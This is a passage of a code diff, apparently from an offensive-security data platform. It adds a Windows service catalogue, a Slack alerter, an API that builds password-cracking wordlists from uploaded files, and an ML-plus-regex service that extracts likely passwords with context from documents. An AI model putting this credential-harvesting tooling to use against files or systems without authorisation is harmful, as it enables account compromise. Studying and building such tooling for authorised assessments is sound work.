seclogon Enable starting processes under alternate credentials. Manual +Secure Socket Tunneling Protocol Service SstpSvc SSTP VPN Capability. Manual +Security Accounts Manager SamSs Allows SAM to accept request from other services. Automatic (Running) +Security Center wscsvc Monitor and report security health settings: Firewall, Anti-Virus,Anti-Spyware. Automatic (Delayed Start, Running) +Sensor Data Service SensorDataService Delivers data from a variety of sensors. Manual (Trigger Start) +Sensor Monitoring Service SensrSvc Monitor sensors to expose data and user state e.g. Adjust brightness. Manual (Trigger Start) +Sensor Service SensorService Manage Simple Device Orientation (SDO) and History for sensors. Reports device orientation changes. Manual (Trigger Start) +Server LanmanServer File, Print and named pipe sharing over the network. Automatic (Running) +Shared PC Account Manager shpamsvc Manage profiles and accounts on a SharedPC configured device. Disabled +Shell Hardware Detection ShellHWDetection Autoplay notification. Automatic (Running) +Smart Card SCardSvr Support for Smart Card login/logout. Disabled +Smart Card Device Enumeration Service ScDeviceEnum Support for Smart Card login/logout. Manual (Trigger Start) +Smart Card Removal Policy SCPolicySvc Support for Smart Card login/logout. Manual +SNMP Trap SNMPTRAP Handle Simple Network Management Protocol (SNMP) agent messages. Manual +Software Protection sppsvc Download and install Digital Licences. Cannot be disabled. Automatic (Delayed Start,Trigger Start) +Spatial Data Service SharedRealitySvc Virtual Reality data manager. Manual +Spot Verifier svsvc Verify potential file system corruptions. Manual (Trigger Start) +SSDP Discovery SSDPSRV Discover UPnP /SSDP devices. Enables SSDP device discovery. Can be disabled. Manual (Running) +State Repository Service StateRepository Reports Application State. Cannot be disabled. Manual (Running) +Still Image Acquisition Events WiaRpc Launch applications associated with still image acquisition. Manual +Storage Service StorSvc Adds 'System Volume Information' folder to external USB memory devices. Required for Windows Store. Manual (Trigger Start) +Storage Tiers Management TieringEngineService Optimise the placement of data in storage tiers on all tiered storage spaces. Manual +Sync Host_????? OneSyncSvc_????? Sync mail, contacts calendar and other user data. Automatic (Delayed Start) +SysMain SysMain Tune system performance over time. Automatic (Running) +System Event Notification Service SENS Monitor system events and notify COM+ subscribers. Automatic (Running) +System Events Broker SystemEventsBroker Co-ordinates background work for WinRT. Cannot be disabled. Automatic (Trigger Start, Running) +System Guard Runtime Monitor Broker SgrmBroker Attests to Windows platform integrity. Automatic (Delayed Start, Running) +Task Scheduler Schedule Schedule Automated Tasks. Cannot be Stopped or disabled. Automatic (Running) +TCP/IP NetBIOS Helper lmhosts Provides NetBIOS over TCP/IP (NetBT) Enables sharing Files, Printers and logon to the network. Manual (Trigger Start, Running) +Telephony TapiSrv Support for programs that control telephony devices. Manual +Themes Themes User Theme Management. Automatic (Running) +Time Broker TimeBrokerSvc Background work for WinRT application. Manual (Trigger Start, Running) +Touch Keyboard and Handwriting Panel Service TabletInputService Enables touch keyboard and handwriting panel pan and ink functionality. Manual (Trigger Start) +Update Orchestrator Service UsoSvc Manages Windows Updates. Manual (Running) +UPnP Device Host upnphost Allows UPnP devices to be hosted on this computer. Manual +User Data Access_????? UserDataSvc_????? Provides apps access to structured user data, including contact info, calendars, messages. Cannot be disabled. Manual (Running) +User Data Storage_????? UnistoreSvc_????? Handles storage of structured user data, including contact info, calendars, messages.Cannot be disabled. Manual (Running) +User Experience Virtualization Service UevAgentService Support for the roaming of OS and application settings. Not Available in Win 10 home. Disabled +User Manager UserManager Support for Multi-User interaction. Automatic (Trigger Start, Running) +User Profile Service ProfSvc Loading and unloading of user profiles. Automatic (Running) +Virtual Disk vds Magagement of disks and volumes. Manual +Volume Shadow Copy VSS Manages and implements Volume Shadow copies used for backup and other purposes. Manual +Volumetric Audio Compositor Service VacSvc Hosts spacial analysis for mixed reality audio simulation. Not Installed +WalletService WalletService Objects used by clients of the wallet. Manual +WarpJITSvc WarpJITSvc JIT out of process service for Windows Advanced Rasterization Platform (WARP) when running with Arbitrary Code Guard (ACG) enabled. Manual (Trigger Start) +Web Account Manager TokenBroker Provide single sign on to apps and services. Manual (Running) +WebClient WebClient Enable Windows based programs to create access and modify internet based files. Manual (Trigger Start) +Wi-Fi Direct Services Connection Manager Service WFDSConMgrSvc Connect to wireless display and/or dock. Manual (Trigger Start) +Windows Audio Audiosrv Manage Audio. Automatic (Running) +Windows Audio Endpoint Builder AudioEndpointBuilder Manage Audio devices. Automatic (Running) +Windows Backup SDRSVC Windows Backup. Manual +Windows Biometric Service WbioSrvc Capture and edit biometric data without gaining direct access to any biometric hardware or samples. Manual (Trigger Start) +Windows Camera Frame Server FrameServer Access video frames from camera devices. Manual (Trigger Start) +Windows Connect Now - Config Registrar wcncsvc Wireless Protected Setup (WPS) protocol. Manual +Windows Connection Manager Wcmsvc Makes automatic connect/disconnect decisions based on the network connectivity options currently available to the PC. Automatic (Trigger Start, Running) +Windows Defender Advanced Threat Protection Service Sense Security event monitor. Not Available in Win 10 home Manual +Windows Defender Antivirus Network Inspection Service WdNisSvc Anti-Virus Cannot be disabled. Manual (Running) +Windows Defender Antivirus Service WinDefend Malware detection. Cannot be disabled. Automatic (Running) +Windows Defender Firewall mpssvc Firewall. Cannot be disabled. Automatic (Running) +Windows Encryption Provider Host Service WEPHOSTSVC Exchange Active Sync (EAS) policies for Email encryption with 3rd parties. Manual (Trigger Start) +Windows Error Reporting Service WerSvc Allows errors to be reported. Manual (Trigger Start) +Windows Event Collector Wecsvc Remote event log management. Manual +Windows Event Log EventLog Manage and query event logs. Automatic (Running) +Windows Font Cache Service FontCache Cache font data. Automatic (Running) +Windows Image Acquisition (WIA) stisvc Image acquisition for scanners and cameras. Manual +Windows Insider Service wisvc Used only for Windows insider - beta testing of new versions of Windows. Manual (Trigger Start) +Windows Installer msiserver Install applications from an .MSI or .MSP package. Cannot be disabled. Manual +Windows License Manager Service LicenseManager Windows Store. Manual (Trigger Start) +Windows Management Instrumentation Winmgmt Windows Management Instrumentation (WMI). Automatic (Running) +Windows Management Service WManSvc Provisioning and enrolment services. Manual +Windows Media Player Network Sharing Service WMPNetworkSvc Share Windows Media Player libraries with other devices using PnP. Disabled +Windows Mixed Reality OpenXR Service MixedRealityOpenXRSvc Enable Mixed reality OpenXR runtime. Manual +Windows Mobile Hotspot Service icssvc Share a Mobile Data Connection with another device. Manual (Trigger Start) +Windows Modules Installer TrustedInstaller Windows Update, installer service. Manual +Windows Perception Service spectrum Virtual Reality Service. Manual (Trigger Start) +Windows Perception Simulation Service perceptionsimulation Enables spatial perception simulation - camera and spatial input simulation. Manual +Windows Presentation Foundation Font Cache 3.0.0.0 FontCache3.0.0.0 Optimise the performance of WPF applications by caching commonly used files. Not Installed (Manual) +Windows Push Notifications System Service WpnService Push Notifications. Automatic (Running) +Windows Push Notifications User Service_????? WpnUserService_????? Local and push notifications: tile, toast and raw. Automatic (Running) +Windows PushToInstall Service PushToInstall Windows Store. Manual +Windows Remote Management (WS-Management) WinRM Remote Management. Manual +Windows Search WSearch Search content indexing. Automatic (Delayed Start, Running) +Windows Security Service SecurityHealthService Device protection. Manual +Windows Time W32Time Date and Time Synchronisation. Manual (Trigger Start) +Windows Update wuauserv Windows Update. Manual (Trigger Start) +Windows Update Medic Service WaaSMedicSvc Remediation and protection of Windows Update components. Manual +WinHTTP Web Proxy Auto-Discovery Service WinHttpAutoProxySvc Web Proxy Auto-Discovery over HTTP. Manual (Running) +Wired AutoConfig dot3svc IEEE 802.1 authentication over Ethernet. Manual +WLAN AutoConfig WlanSvc Connect and Disconnect from a Wireless LAN, it is strongly recommended that this service is left set to Automatic if a Wireless Card is installed. Automatic +WMI Performance Adapter wmiApSrv Provide performance information from WMI providers to clients on the network. Manual +Work Folders workfolderssvc Sync files with the Work Folders server enabling you to use the files on any PC where you have setup Work Folders. Manual +Workstation LanmanWorkstation Connect to remote servers using SMB 2.0 or 3.0 Automatic (Running) +WWAN AutoConfig WwanSvc Manages Mobile Broadband Data Connections (GSM and CDMA) by auto-configuring the network. Manual +Xbox Accessory Management Service XboxGipSvc Xbox Accessories. Manual (Trigger Start) +Xbox Live Auth Manager XblAuthManager Xbox Authentication. Manual +Xbox Live Game Save XblGameSave Xbox sync with game server. Manual (Trigger Start) +Xbox Live Networking Service XboxNetApiSvc Xbox API. \ No newline at end of file diff --git a/cmd/enrichment/enrichment/tasks/service_categorizer/service_categorizer.py b/cmd/enrichment/enrichment/tasks/service_categorizer/service_categorizer.py new file mode 100644 index 0000000..fc8ebe0 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/service_categorizer/service_categorizer.py @@ -0,0 +1,66 @@ +# Standard Libraries +import asyncio + +# 3rd Party Libraries +import nemesiscommon.constants as constants +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.tasks.service_categorizer.categorizer import ServiceCategorizerInterface +from nemesiscommon.messaging import ( + MessageQueueConsumerInterface, + MessageQueueProducerInterface, +) +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger(module=__name__) + + +class ServiceCategorizer(TaskInterface): + in_q_service: MessageQueueConsumerInterface + out_q_serviceenriched: MessageQueueProducerInterface + + def __init__( + self, + in_q_service: MessageQueueConsumerInterface, + out_q_serviceenriched: MessageQueueProducerInterface, + categorizer: ServiceCategorizerInterface, + ): + self.in_q_service = in_q_service + self.outputQueue = out_q_serviceenriched + self.categorizer = categorizer + + async def run(self) -> None: + await self.in_q_service.Read(self.process_message) # type: ignore + await asyncio.Future() + + @aio.time(Summary("process_windows_service", "Time spent processing a Windows service")) # type: ignore + async def process_message(self, ingestedServiceMsg: pb.ServiceIngestionMessage) -> None: + total_services = len(ingestedServiceMsg.data) + + await logger.adebug("Received ServiceIngestionMessage", total_services=total_services) + + enrichedServiceMsg = pb.ServiceEnrichedMessage() + enrichedServiceMsg.metadata.CopyFrom(ingestedServiceMsg.metadata) + + for i in range(total_services): + ingestedService = ingestedServiceMsg.data[i] + + enrichedService = pb.ServiceEnriched() + enrichedService.origin.CopyFrom(ingestedService) + + enrichments_success = [] + # enrichments_failure = [] + + category = await self.categorizer.lookup(ingestedService.name) + + # right now there is no failure mode for the lookup so there are no enrichments_failure + enrichments_success.append(constants.E_SERVICE_CATEGORY) + + enrichedService.category = category.category + enrichedService.enrichments_success.extend(enrichments_success) + + enrichedServiceMsg.data.append(enrichedService) + + await self.outputQueue.Send(enrichedServiceMsg.SerializeToString()) diff --git a/cmd/enrichment/enrichment/tasks/slack_webhook_alerter.py b/cmd/enrichment/enrichment/tasks/slack_webhook_alerter.py new file mode 100644 index 0000000..7b98ae0 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/slack_webhook_alerter.py @@ -0,0 +1,58 @@ +# Standard Libraries +import asyncio + +# 3rd Party Libraries +import httpx +import nemesispb.nemesis_pb2 as pb +from nemesiscommon.messaging import MessageQueueConsumerInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async.aio import time as metrics +from prometheus_client import Summary + + +class SlackWebHookAlerter(TaskInterface): + in_q_alert: MessageQueueConsumerInterface + web_hook_url: str + username: str + emoji: str + channel: str + http_client: httpx.AsyncClient + disable_alerting: bool + + def __init__( + self, + in_q_alert: MessageQueueConsumerInterface, + web_hook_url: str, + username: str, + emoji: str, + channel: str, + http_client: httpx.AsyncClient, + disable_alerting: bool = True, + ) -> None: + self.in_q_alert = in_q_alert + self.web_hook_url = web_hook_url + + if not channel.startswith("#"): + channel = f"#{channel}" + + self.username = username + self.emoji = emoji + self.channel = channel + self.http_client = http_client + self.disable_alerting = disable_alerting + + async def run(self) -> None: + await self.in_q_alert.Read(self.process_message) # type: ignore + await asyncio.Future() + + @metrics(Summary("process_alert", "Time spent processing an alert topic.")) # type: ignore + async def process_message(self, event: pb.Alert) -> None: + if not self.disable_alerting: + await self.send_slack_message(event.text) + + async def send_slack_message(self, text: str) -> None: + """Sends the supplied Slack message to the SLACK_ALERT_CHANNEL via SLACK_WEB_HOOK.""" + + payload = {"username": self.username, "icon_emoji": self.emoji, "channel": self.channel, "text": text} + r = await self.http_client.post(self.web_hook_url, json=payload) + r.raise_for_status() diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/__init__.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/client_wordlists.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/client_wordlists.py new file mode 100644 index 0000000..f3bc276 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/webapi/crack_list/client_wordlists.py @@ -0,0 +1,49 @@ +# Standard Libraries +import os +from pathlib import Path +from typing import Dict, List, Optional + +# 3rd Party Libraries +import structlog +from enrichment.tasks.webapi.crack_list.wordlist import Wordlist + +logger = structlog.get_logger(module=__name__) + + +class ClientWordlists: + def __init__(self, base_path: Optional[str] = None): + self.clients: Dict[str, Wordlist] = {} + self.base_path = base_path + + if base_path is None: + logger.info("No base path provided. Client wordlists will not be saved.") + return + + if not os.path.isdir(base_path): + raise ValueError(f"Base path {base_path} is not a directory") + + for client_wordlist in os.listdir(base_path): + client_id = client_wordlist.split(".")[0] + with open(os.path.join(base_path, client_wordlist), "r") as f: + self.clients[client_id] = Wordlist.from_json(f.read()) + + def _save_client(self, client_id: str) -> None: + if self.base_path is None: + return + + path_name = os.path.join(self.base_path, f"{client_id}.json") + client_json = self.clients[client_id].to_json() + Path(path_name).write_text(client_json) + + def add_file(self, client_id: str, text: str, length_filter: bool) -> None: + if client_id not in self.clients: + self.clients[client_id] = Wordlist() + self.clients[client_id].add(text, length_filter) + self._save_client(client_id) + + def get(self, client_id: str, count: Optional[int] = None) -> List[str]: + return self.clients[client_id].get(count=count) + + def get_as_file(self, client_id: str, count: Optional[int] = None) -> str: + words = self.clients[client_id].get(count=count) + return "\n".join(words) diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/cracklist_api.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/cracklist_api.py new file mode 100644 index 0000000..2769684 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/webapi/crack_list/cracklist_api.py @@ -0,0 +1,85 @@ +# Standard Libraries +import uuid +from pathlib import Path + +# 3rd Party Libraries +import structlog +import uvicorn +from enrichment.tasks.webapi.crack_list.client_wordlists import ClientWordlists +from fastapi import FastAPI +from fastapi.responses import Response +from fastapi_class.decorators import get, post +from fastapi_class.routable import Routable +from nemesiscommon.storage import StorageInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary +from pydantic import BaseModel + +logger = structlog.get_logger(module=__name__) + + +class CrackListApi(TaskInterface): + storage: StorageInterface + log_level: str + + def __init__(self, storage: StorageInterface, log_level: str) -> None: + self.storage = storage + self.log_level = log_level + + async def run(self) -> None: + app = FastAPI() + routes = CrackListApiRoutes(self.storage) + app.include_router(routes.router) + # TODO: do we need to set the port as an env var? + server_config = uvicorn.Config(app, host="0.0.0.0", port=9900, log_level=self.log_level.lower()) + server = uvicorn.Server(server_config) + await server.serve() + + +class UploadRequest(BaseModel): + object_id: uuid.UUID + client_id: str + + +class CrackListApiRoutes(Routable): + """Inherits from Routable.""" + + storage: StorageInterface + client_wordlists: ClientWordlists + + def __init__(self, storage: StorageInterface) -> None: + super().__init__() + self.storage = storage + self.client_wordlists = ClientWordlists() + + @get("/") + async def home(self): + return Response() + + @get("/ready") + async def ready(self): + """ + Used for readiness probes. + """ + return Response() + + @aio.time(Summary("wordlist_add", "Time spent adding a document to the wordlist")) # type: ignore + @post("/add") + async def root_post(self, request: UploadRequest, length_filter: bool = False): + try: + await logger.adebug("Got request", request=request) + with await self.storage.download(request.object_id) as temp_file: + data = Path(temp_file.name).read_text() + self.client_wordlists.add_file(request.client_id, data, length_filter) + except Exception as e: + return {"error": str(e)} + + @aio.time(Summary("wordlist_retrieve", "Time spent retrieving the wordlist")) # type: ignore + @get("/client/{client_id}") + def root_get(self, client_id: str, count: int = 10): + try: + ret = self.client_wordlists.get_as_file(client_id, count=count) + return Response(ret, media_type="text/plain") + except Exception as e: + return {"error": str(e)} diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/dictionary.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/dictionary.py new file mode 100644 index 0000000..ab4ddb8 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/webapi/crack_list/dictionary.py @@ -0,0 +1,25 @@ +# Standard Libraries +from typing import List, Optional, Set + + +class Dictionary: + def __init__(self, dictionary_path: Optional[str] = None, words: Optional[Set[str]] = None): + if dictionary_path is None and words is None: + raise ValueError("No dictionary path or words provided") + + self.words = words or set() + + if dictionary_path: + with open(dictionary_path, "r") as f: + for line in f: + self.words.add(line.strip()) + + if words: + self.words = words + + def filter(self, tokens: List[str]) -> List[str]: + return [token for token in tokens if token not in self.words] + + +# use the `wamerican` ~100k word dictionary to filter out +default_dictionary = Dictionary("/usr/share/dict/words") diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/wordlist.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/wordlist.py new file mode 100644 index 0000000..f003977 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/webapi/crack_list/wordlist.py @@ -0,0 +1,71 @@ +# Standard Libraries +import json +from typing import Dict, List, Optional + +# 3rd Party Libraries +from enrichment.tasks.webapi.crack_list.dictionary import Dictionary, default_dictionary + +# TODO: make these ENV variables +MIN_LENGTH = 3 +MAX_LENGTH = 30 + + +class Wordlist: + def __init__( + self, + dictionary: Dictionary = default_dictionary, + raw_wordlist: Optional[Dict[str, int]] = None, + ): + self.dictionary = dictionary + if raw_wordlist is None: + self.wordlist = {} + else: + self.wordlist = raw_wordlist + + @staticmethod + def from_json(json_str: str, dictionary: Dictionary = default_dictionary) -> "Wordlist": + """ + Create a Wordlist from a JSON string + """ + raw_wordlist = json.loads(json_str) + return Wordlist(dictionary=dictionary, raw_wordlist=raw_wordlist) + + def _tokenize(self, text: str) -> List[str]: + return text.split() + + def _length_filter(self, words: List[str]) -> List[str]: + """ + Filter out words that are too short or too long + """ + return [word for word in words if MIN_LENGTH <= len(word) <= MAX_LENGTH] + + def to_json(self) -> str: + """ + Return a JSON string representation of the wordlist + """ + return json.dumps(self.wordlist) + + def add(self, text: str, len_filter: bool = False) -> None: + """ + Add a string to the wordlist. Only performs a dictionary filter for new + input. Does not recompute the filtered words for the entire wordlist. + + :param text: The string to add + """ + tokens = self._tokenize(text) + if len_filter: + tokens = self._length_filter(tokens) + tokens = self.dictionary.filter(tokens) + for token in tokens: + self.wordlist[token] = self.wordlist.get(token, 0) + 1 + + def get(self, count: Optional[int] = None) -> List[str]: + """ + Return a list of the most common words in the wordlist + + :param count: The number of words to return. If None, return all words. + """ + xs = sorted(self.wordlist, key=self.wordlist.__getitem__, reverse=True) + if count is not None: + return xs[:count] + return xs diff --git a/cmd/enrichment/enrichment/tasks/webapi/landingpage.py b/cmd/enrichment/enrichment/tasks/webapi/landingpage.py new file mode 100644 index 0000000..3a29513 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/webapi/landingpage.py @@ -0,0 +1,65 @@ +# 3rd Party Libraries +import structlog +import uvicorn +from fastapi import FastAPI +from fastapi.responses import HTMLResponse +from fastapi_class.decorators import get +from fastapi_class.routable import Routable +from nemesiscommon.tasking import TaskInterface + +logger = structlog.get_logger(module=__name__) + + +class LandingPageApi(TaskInterface): + log_level: str + + def __init__(self, log_level: str) -> None: + self.log_level = log_level + + async def run(self) -> None: + app = FastAPI() + routes = LandingPageRoutes() + app.include_router(routes.router) + server_config = uvicorn.Config( + app, + host="0.0.0.0", + port=9920, + log_level=self.log_level.lower(), + ) + server = uvicorn.Server(server_config) + logger.info("Starting LandingPageAPI", port="9920") + await server.serve() + + +class LandingPageRoutes(Routable): + def __init__(self) -> None: + super().__init__() + + @get("/", response_class=HTMLResponse) + async def home(self): + return """ + + + Nemesis Services + + +

Nemesis Services

+ +

Main Services

+
Dashboard
+ Kibana
+ pgAdmin (Postgres)
+ RabbitMQ Management UI
+ +

Monitoring

+ Alertmanager
+ Grafana
+ Prometheus
+ +

Misc

+ Elastic
+ Yara Endpoint
+ Password Cracklist Endpoint
+ + + """ diff --git a/cmd/enrichment/enrichment/tasks/webapi/ml_models_api.py b/cmd/enrichment/enrichment/tasks/webapi/ml_models_api.py new file mode 100644 index 0000000..62a8690 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/webapi/ml_models_api.py @@ -0,0 +1,332 @@ +# Standard Libraries +import asyncio +import json +import os +import re +import uuid + +# 3rd Party Libraries +import aiohttp +import numpy as np +import structlog +import uvicorn +from enrichment.settings import EnrichmentSettings +from fastapi import FastAPI +from fastapi.responses import Response +from fastapi_class.decorators import get, post +from fastapi_class.routable import Routable +from nemesiscommon.storage import StorageInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary +from pydantic import BaseModel + +logger = structlog.get_logger(module=__name__) + +# extracted from the fit Keras tokenizer so we don't need Keras/Tensorflow as a requirement +CHAR_DICT = { + "": 1, + "e": 2, + "i": 3, + "a": 4, + "n": 5, + "t": 6, + "r": 7, + "o": 8, + "s": 9, + "c": 10, + "l": 11, + "A": 12, + "E": 13, + "d": 14, + "u": 15, + "m": 16, + "p": 17, + "I": 18, + "S": 19, + "R": 20, + "O": 21, + "N": 22, + "g": 23, + "T": 24, + "-": 25, + "L": 26, + "h": 27, + "y": 28, + "C": 29, + "b": 30, + "f": 31, + "M": 32, + "v": 33, + "D": 34, + "1": 35, + "U": 36, + "H": 37, + "P": 38, + "k": 39, + "2": 40, + "0": 41, + "B": 42, + "G": 43, + "w": 44, + "Y": 45, + "K": 46, + "3": 47, + "9": 48, + "F": 49, + ".": 50, + ",": 51, + "4": 52, + "8": 53, + "V": 54, + "5": 55, + "7": 56, + "6": 57, + "W": 58, + "j": 59, + "x": 60, + "z": 61, + "J": 62, + "q": 63, + "Z": 64, + "_": 65, + "'": 66, + ":": 67, + "X": 68, + "Q": 69, + "/": 70, + ")": 71, + "(": 72, + '"': 73, + "!": 74, + ";": 75, + "*": 76, + "@": 77, + "\\": 78, + "]": 79, + "?": 80, + "[": 81, + "<": 82, + ">": 83, + "=": 84, + "#": 85, + "&": 86, + "$": 87, + "+": 88, + "%": 89, + "`": 90, + "~": 91, + "^": 92, + "{": 93, + "}": 94, + "|": 95, +} + + +class UploadRequest(BaseModel): + object_id: str + + +class NumpyEncoder(json.JSONEncoder): + """Helper to JSONify numpy arrays.""" + + def default(self, obj): + if isinstance(obj, np.ndarray): + return obj.tolist() + return json.JSONEncoder.default(self, obj) + + +class MlModelsApi(TaskInterface): + storage: StorageInterface + cfg: EnrichmentSettings + + def __init__(self, storage: StorageInterface, cfg: EnrichmentSettings) -> None: + self.storage = storage + self.cfg = cfg + + async def run(self) -> None: + app = FastAPI(title="ML Models API") + routes = MlModelsApiRoutes( + self.storage, + self.cfg.ml_chunk_size, + self.cfg.tensorflow_uri, + self.cfg.prob_threshold, + self.cfg.context_words, + ) + app.include_router(routes.router) + server_config = uvicorn.Config(app, host="0.0.0.0", port=5000, log_level=self.cfg.log_level.lower()) + server = uvicorn.Server(server_config) + logger.info("Starting ml_models service") + await server.serve() + + +class MlModelsApiRoutes(Routable): + """Inherits from Routable.""" + + storage: StorageInterface + ml_chunk_size: int + tensorflow_uri: str + prob_threshold: float + context_words: int + + def __init__( + self, + storage: StorageInterface, + ml_chunk_size: int, + tensorflow_uri: str, + prob_threshold: float, + context_words: int, + ) -> None: + super().__init__() + + self.storage = storage + self.ml_chunk_size = ml_chunk_size + self.tensorflow_uri = tensorflow_uri + self.prob_threshold = prob_threshold + self.context_words = context_words + + # regex for 7-32 character mixed alphanumeric + special char + self.password_regex = re.compile(r"^(?=.*[0-9])(?=.*[a-zA-Z])(?=.*[~!@#$%^&*_\-+=`|\()\{\}[\]:;\"'<>,.?\/])(?=.*\d).{7,32}$") + + @aio.time(Summary("process_document", "Time spent in process_document")) # type: ignore + async def process_document(self, file_path: str): + """Processes a file through the NN/regex.""" + + model_password_candidates = [] + regex_password_candidates = [] + + await logger.adebug("Processing file", file_path=file_path) + + with open(file_path, "rb") as f: + # chunking to handle large files + while chunk := f.read(self.ml_chunk_size): + # extract password candidates from the model + model_password_candidates.extend(await self.extract_passwords_model(chunk)) + + # extract password regex candidates from the model + regex_password_candidates.extend(await self.extract_terms_regex(chunk, self.password_regex)) + + result = { + "object_id": file_path, + "model_password_candidates": model_password_candidates, + "regex_password_candidates": regex_password_candidates, + } + + return result + + @aio.time(Summary("tokenize", "Time spent in tokenize")) # type: ignore + async def tokenize(self, word): + """Tokenizes and pads the supplied word to the proper length.""" + + if len(word) < 7 or len(word) > 32: + return [0] * 32 + else: + seq = [CHAR_DICT[char] if char in CHAR_DICT else 1 for char in word] + seq.extend([0] * (32 - len(seq))) + return seq + + async def remove_non_ascii(self, string): + return "".join(char for char in string if ord(char) < 128) + + @aio.time(Summary("extract_passwords_model", "Time spent in extract_passwords_model")) # type: ignore + async def extract_passwords_model(self, document): + """Tokenizes the input text, submits it to the served model,and returns words that might be passwords.""" + + passwords = [] + url = f"{self.tensorflow_uri}v1/models/password:predict" + + try: + # extract whitespace stripped words + document = await self.remove_non_ascii(document.decode("ISO-8859-1")) + words = np.array([word.strip() for word in document.split()]) + + # turn the input words into sequences and pad them to 32 + tokenized_words = [await self.tokenize(word) for word in words] + + # post the tokenized words to the served model + data = json.dumps({"inputs": tokenized_words}) + + async with aiohttp.ClientSession() as session: + status, retries = 0, 5 + + async with session.post(url, data=data.encode("utf-8"), timeout=60) as resp: + status = resp.status + result = await resp.json() + + while status != 200 and retries > 0: + await asyncio.sleep(1) + retries = retries - 1 + async with session.post(url, data=data.encode("utf-8"), timeout=60) as resp: + status = resp.status + result = await resp.json() + + pred = np.array(result["outputs"]) + + # properly cast the predictions for each word + pred = (pred > self.prob_threshold).astype("int32") + + # use the predictions as indicies for the words to return + positive_indicies = np.where(pred == 1) + + for x in positive_indicies[0]: + left_context = words[:x][-self.context_words :] + password = words[x] + right_context = words[x + 1 : self.context_words + x + 1] + + result = {"left_context": left_context, "password": password, "right_context": right_context} + + passwords.append(result) + + except Exception as e: + await logger.aexception(e, message="extract_passwords_model exception") + + return passwords + + @aio.time(Summary("extract_terms_regex", "Time spent in extract_terms_regex")) # type: ignore + async def extract_terms_regex(self, document, regex): + """Runs the supplied compiled regex against extracted documents.""" + + document = await self.remove_non_ascii(document.decode("ISO-8859-1")) + words = np.array([word.strip() for word in document.split()]) + passwords = list() + + for x, word in enumerate(words): + if regex.match(word): + left_context = words[:x][-self.context_words :] + password = words[x] + right_context = words[x + 1 : self.context_words + x + 1] + + result = {"left_context": left_context, "password": password, "right_context": right_context} + + passwords.append(result) + + return passwords + + @get("/") + async def home(self): + return {} + + @get("/ready") + async def ready(self): + """ + Used for readiness probes. + """ + return Response() + + @aio.time(Summary("passwords", "Time spent extracting passwords from a document.")) # type: ignore + @post("/passwords") + async def root_post(self, request: UploadRequest, length_filter: bool = False): + try: + file_uuid = uuid.UUID(request.object_id) + with await self.storage.download(file_uuid) as temp_file: + # TODO: should we make this an ENV variable + if os.path.getsize(temp_file.name) > 104857600: + return {"error": "'object_id' file over 100 MB limit"} + else: + results = await self.process_document(temp_file.name) + # return results + content = json.dumps(results, cls=NumpyEncoder) + return Response(content=content, media_type="application/json") + except Exception as e: + logger.exception(e, message="Error extracting passwords from document") + return {"error": str(e)} diff --git a/cmd/enrichment/enrichment/tasks/webapi/nemesis_api.py b/cmd/enrichment/enrichment/tasks/webapi/nemesis_api.py new file mode 100644 index 0000000..c0d2029 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/webapi/nemesis_api.py @@ -0,0 +1,448 @@ +# Standard Libraries +import asyncio +import base64 +import json +import os +import tempfile +import urllib.parse +import uuid +from enum import Enum, StrEnum +from typing import Dict, List, Optional + +# 3rd Party Libraries +import httpx +import nemesispb.nemesis_pb2 as pb +import structlog +import uvicorn +from aio_pika import connect_robust +from elasticsearch import AsyncElasticsearch +from enrichment.cli.submit_to_nemesis.submit_to_nemesis import ( + map_unordered, return_args_and_exceptions) +from enrichment.lib.nemesis_db import NemesisDb +from enrichment.lib.registry import include_registry_value +from fastapi import FastAPI, Request +from fastapi.responses import FileResponse, Response +from fastapi_class.decorators import get, post +from fastapi_class.routable import Routable +from google.protobuf.json_format import Parse +# from nemesiscommon.clearqueues import clearRabbitMQQueues +from nemesiscommon.constants import ALL_ES_INDICIES, NemesisQueue +from nemesiscommon.messaging import MessageQueueProducerInterface +from nemesiscommon.messaging_rabbitmq import RABBITMQ_QUEUE_BINDINGS +from nemesiscommon.services.alerter import AlerterInterface +from nemesiscommon.storage import StorageInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary +from pydantic import BaseModel +from starlette.background import BackgroundTask + +logger = structlog.get_logger(module=__name__) + +MAP = { + "authentication_data": pb.AuthenticationDataIngestionMessage, + "file_data": pb.FileDataIngestionMessage, + "file_information": pb.FileInformationIngestionMessage, + "network_address": pb.NetworkAddressIngestionMessage, + "network_connection": pb.NetworkConnectionIngestionMessage, + "path_list": pb.PathListIngestionMessage, + "process_enriched": pb.ProcessEnrichedMessage, + "process": pb.ProcessIngestionMessage, + "raw_data": pb.RawDataIngestionMessage, + "registry_value": pb.RegistryValueIngestionMessage, + "route": pb.RouteDataIngestionMessage, + "time": pb.TimeDataIngestionMessage, + "service": pb.ServiceIngestionMessage, + "cookie": pb.CookieIngestionMessage, + "named_pipe": pb.NamedPipeIngestionMessage, + "network_conection": pb.NetworkConnectionIngestionMessage, + # DpapiBlobMessage + # DpapiDomainBackupkeyMessage + # DpapiMasterkeyMessage + # ExtractedHashMessage + # FileDataPlaintextMessage + # ProcessMessage + # ServiceEnrichedMessage +} + + +# # kills all the connections in a way we can't proceed +# 